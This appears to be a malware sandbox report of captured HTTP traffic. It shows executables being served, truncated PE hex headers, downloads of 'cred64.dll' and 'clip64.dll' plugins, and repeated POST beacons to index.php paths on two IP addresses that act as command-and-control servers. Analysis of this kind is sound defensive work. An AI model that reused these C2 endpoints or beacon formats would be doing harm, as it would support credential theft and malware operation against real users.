Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 15:18:48 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Tue, 10 Dec 2024 15:45:48 GMTETag: "5a452c-628ec5ffff268"Accept-Ranges: bytesContent-Length: 5915948Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 09 0d a3 58 68 63 f0 58 68 63 f0 58 68 63 f0 13 10 60 f1 5f 68 63 f0 13 10 66 f1 ec 68 63 f0 13 10 67 f1 52 68 63 f0 9b eb 9e f0 5b 68 63 f0 9b eb 60 f1 51 68 63 f0 9b eb 67 f1 49 68 63 f0 9b eb 66 f1 70 68 63 f0 13 10 62 f1 53 68 63 f0 58 68 62 f0 c9 68 63 f0 4b ec 67 f1 41 68 63 f0 4b ec 61 f1 59 68 63 f0 52 69 63 68 58 68 63 f0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 2c 62 58 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 02 00 00 58 02 00 00 00 00 00 d0 c0 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 04 00 00 2a 4f 5a 00 02 00 60 c1 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c c7 03 00 78 00 00 00 00 90 04 00 1c f4 00 00 00 60 04 00 08 22 00 00 00 00 00 00 00 00 00 00 00 90 05 00 68 07 00 00 c0 9d 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 9c 03 00 40 01 00 00 00 00 00 00 00 00 00 00 00 b0 02 00 50 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 92 02 00 00 10 00 00 00 94 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 42 26 01 00 00 b0 02 00 00 28 01 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d8 73 00 00 00 e0 03 00 00 0e 00 00 00 c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 08 22 00 00 00 60 04 00 00 24 00 00 00 ce 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 1c f4 00 00 00 90 04 00 00 f6 00 00 00 f2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 07 00 00 00 90 05 00 00 08 00 00 00 e8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 15:18:59 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 12 Dec 2024 10:50:51 GMTETag: "4b200-629107cd804d2"Accept-Ranges: bytesContent-Length: 307712Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 dc 48 28 d2 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 e4 02 00 00 cc 01 00 00 00 00 00 8e 02 03 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 05 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 02 03 00 4f 00 00 00 00 20 03 00 c6 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 e2 02 00 00 20 00 00 00 e4 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c6 c9 01 00 00 20 03 00 00 ca 01 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 05 00 00 02 00 00 00 b0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 02 03 00 00 00 00 00 48 00 00 00 02 00 05 00 20 83 01 00 1c 7f 01 00 03 00 00 00 8f 02 00 06 28 77 01 00 f8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 00 75 00 74 00 6f 00 66 00 69 00 6c 00 6c 00 35 00 74 00 59 00 57 00 52 00 71 00 61 00 57 00 56 00 6f 00 61 00 6d 00 68 00 68 00 61 00 6d 00 4a 00 38 00 57 00 57 00 39 00 79 00 62 00 32 00 6c 00 58 00 59 00 57 00 78 00 73 00 5a 00 58 00 51 00 4b 00 61 00 57 00 4a 00 75 00 5a 00 57 00 70 00 6b 00 5a 00 6d 00 70 00 74 00 62 00 57 00 74 00 77 00 59 00 32 00 35 00 73 00 63 00 47 00 56 00 69 00 61 00 32 00 78 00 74 00 62 00 6d 00 74 00 76 00 5a 00 57 00 39 00 70 00 61 00 47 00 39 00 6d 00 5a 00 57 00 4e 00 38 00 56 00 48 00 4a 00 76 00 62 00 6d 00 78 00 70 00 62 00 6d 00 73 00 4b 00 61 00 6d 00 4a 00 6b 00 59 00 57 00 39 00 6a 00 62 00 6d 00 56 00 70 00 61 00 57 00 6c 00 75 00 62 00 57 00 70 00 69 00 61 00 6d 00 78 00 6e 00 59 00 57 00 78 00 6f 00 59 00 32 00 56 00 73 00 5a 00 32 00 4a 00 6c 00 61 00 6d 00 31 00 75 00 61 00 57 00 52 00 38 00 54 00 6d 00 6c 00 6d 00 64 00 48 00 6c 00 58 00 59 00 57 00 78 00 73 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 15:19:02 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 12 Dec 2024 05:53:20 GMTETag: "4b400-6290c54e671ba"Accept-Ranges: bytesContent-Length: 308224Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 5c b7 69 25 3d d9 3a 25 3d d9 3a 25 3d d9 3a 2c 45 4a 3a 26 3d d9 3a 25 3d d8 3a 26 3d d9 3a 4a 4b 72 3a 2d 3d d9 3a 4a 4b 43 3a 24 3d d9 3a 4a 4b 44 3a 24 3d d9 3a 52 69 63 68 25 3d d9 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 3c 7a 5a 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0a 00 00 3a 00 00 00 2a 00 00 00 00 00 00 5c 34 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 68 00 00 28 00 00 00 00 90 00 00 28 03 00 00 00 80 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cb 39 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c8 18 00 00 00 50 00 00 00 1a 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 06 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 40 02 00 00 00 80 00 00 00 04 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 28 03 00 00 00 90 00 00 00 04 00 00 00 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 36 34 00 00 00 00 00 60 04 00 00 a0 00 00 00 54 04 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 15:19:04 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 12 Dec 2024 07:53:47 GMTETag: "6bc00-6290e03a93110"Accept-Ranges: bytesContent-Length: 441344Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 8b 96 5a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 fa 04 00 00 00 02 00 00 00 00 00 aa a6 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 46 06 00 c8 00 00 00 00 d0 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 06 00 d4 45 00 00 fc e1 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 05 00 18 00 00 00 38 e2 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 05 00 3c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7a f8 04 00 00 10 00 00 00 fa 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 49 01 00 00 10 05 00 00 4a 01 00 00 fe 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 6d 00 00 00 60 06 00 00 2c 00 00 00 48 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 d0 06 00 00 02 00 00 00 74 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 45 00 00 00 e0 06 00 00 46 00 00 00 76 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 15:20:06 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 12 Dec 2024 18:53:38 GMTETag: "138c00-629173b693080"Accept-Ranges: bytesContent-Length: 1281024Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 86 e5 c9 44 c2 84 a7 17 c2 84 a7 17 c2 84 a7 17 d6 ef a3 16 d6 84 a7 17 d6 ef a4 16 d2 84 a7 17 d6 ef a2 16 73 84 a7 17 90 f1 a2 16 86 84 a7 17 90 f1 a3 16 cd 84 a7 17 90 f1 a4 16 c8 84 a7 17 d6 ef a6 16 cf 84 a7 17 c2 84 a6 17 01 84 a7 17 0e f1 ae 16 c6 84 a7 17 0e f1 a7 16 c3 84 a7 17 0e f1 58 17 c3 84 a7 17 0e f1 a5 16 c3 84 a7 17 52 69 63 68 c2 84 a7 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 82 96 5a 67 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 1d 00 c8 0f 00 00 38 04 00 00 00 00 00 c4 fa 0c 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 80 7e 12 00 58 00 00 00 d8 7e 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 9c ae 00 00 00 00 00 00 00 00 00 00 00 30 14 00 6c 12 00 00 00 95 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 95 11 00 38 01 00 00 00 00 00 00 00 00 00 00 00 e0 0f 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 c7 0f 00 00 10 00 00 00 c8 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9e b3 02 00 00 e0 0f 00 00 b4 02 00 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c bb 00 00 00 a0 12 00 00 44 00 00 00 80 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 9c ae 00 00 00 60 13 00 00 b0 00 00 00 c4 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 fc 00 00 00 00 10 14 00 00 02 00 00 00 74 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 76 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 6c 12 00 00 00 30 14 00 00 14 00 00 00 78 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 15:20:13 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 12 Dec 2024 18:53:40 GMTETag: "1f000-629173b87b500"Accept-Ranges: bytesContent-Length: 126976Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c8 f9 ef 50 8c 98 81 03 8c 98 81 03 8c 98 81 03 98 f3 82 02 86 98 81 03 98 f3 84 02 05 98 81 03 98 f3 85 02 9e 98 81 03 de ed 85 02 83 98 81 03 de ed 82 02 9d 98 81 03 de ed 84 02 ad 98 81 03 98 f3 80 02 8b 98 81 03 8c 98 80 03 ed 98 81 03 40 ed 88 02 8f 98 81 03 40 ed 81 02 8d 98 81 03 40 ed 7e 03 8d 98 81 03 40 ed 83 02 8d 98 81 03 52 69 63 68 8c 98 81 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 84 96 5a 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1d 00 44 01 00 00 b4 00 00 00 00 00 00 62 70 00 00 00 10 00 00 00 60 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 cd 01 00 9c 00 00 00 ac cd 01 00 50 00 00 00 00 00 02 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 f8 1a 00 00 84 bb 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 bb 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 06 43 01 00 00 10 00 00 00 44 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2a 75 00 00 00 60 01 00 00 76 00 00 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 1f 00 00 00 e0 01 00 00 14 00 00 00 be 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 00 02 00 00 02 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f8 1a 00 00 00 10 02 00 00 1c 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /7vhfjke3/Plugins/cred64.dll HTTP/1.1Host: 185.81.68.147
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.148Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.148Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Source: global traffic	HTTP traffic detected: GET /7vhfjke3/Plugins/clip64.dll HTTP/1.1Host: 185.81.68.147
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.148Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.148Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
